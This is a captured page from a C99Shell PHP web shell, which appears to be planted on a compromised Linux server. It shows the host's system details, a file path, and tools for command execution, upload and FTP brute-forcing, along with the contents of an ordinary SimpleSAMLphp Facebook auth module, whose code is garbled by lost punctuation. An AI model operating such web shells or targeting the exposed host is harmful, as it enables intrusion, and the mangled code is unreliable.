!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/modules/authfacebook/lib/   drwxr-xr-x
Free 14.38 GB of 61.93 GB (23.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Facebook.php (2.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once(dirname(dirname(__FILE__)) . '/extlibinc/base_facebook.php');

/**
 * Extends the BaseFacebook class with the intent of using
 * PHP sessions to store user ids and access tokens.
 */
class sspmod_authfacebook_Facebook extends BaseFacebook
{

  
/* SimpleSAMLPhp state array */
  
protected $ssp_state;

  
/**
   * Identical to the parent constructor, except that
   * we start a PHP session to store the user ID and
   * access token if during the course of execution
   * we discover them.
   *
   * @param Array $config the application configuration.
   * @see BaseFacebook::__construct in base_facebook.php
   */
  
public function __construct(array $config, &$ssp_state) {
    
$this->ssp_state = &$ssp_state;

    
parent::__construct($config);
  }

  protected static 
$kSupportedKeys =
    array(
'state''code''access_token''user_id');

  
/**
   * Provides the implementations of the inherited abstract
   * methods.  The implementation uses PHP sessions to maintain
   * a store for authorization codes, user ids, CSRF states, and
   * access tokens.
   */
  
protected function setPersistentData($key$value) {
    if (!
in_array($keyself::$kSupportedKeys)) {
      
SimpleSAML_Logger::debug("Unsupported key passed to setPersistentData: " var_export($keyTRUE));
      return;
    }

    
$session_var_name $this->constructSessionVariableName($key);
    
$this->ssp_state[$session_var_name] = $value;
  }

  protected function 
getPersistentData($key$default false) {
    if (!
in_array($keyself::$kSupportedKeys)) {
      
SimpleSAML_Logger::debug("Unsupported key passed to getPersistentData: " var_export($keyTRUE));
      return 
$default;
    }

    
$session_var_name $this->constructSessionVariableName($key);
    if (isset(
$this->ssp_state[$session_var_name])) {
      
$value $this->ssp_state[$session_var_name];
    }
    return isset(
$value) ? $value $default;
  }

  protected function 
clearPersistentData($key) {
    if (!
in_array($keyself::$kSupportedKeys)) {
      
SimpleSAML_Logger::debug("Unsupported key passed to clearPersistentData: " var_export($keyTRUE));
      return;
    }

    
$session_var_name $this->constructSessionVariableName($key);
    if (isset(
$this->ssp_state[$session_var_name])) {
      unset(
$this->ssp_state[$session_var_name]);
    }
  }

  protected function 
clearAllPersistentData() {
    foreach (
self::$kSupportedKeys as $key) {
      
$this->clearPersistentData($key);
    }
  }

  protected function 
constructSessionVariableName($key) {
    return 
'authfacebook:authdata:' implode('_', array('fb',
                              
$this->getAppId(),
                              
$key));
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6077 ]--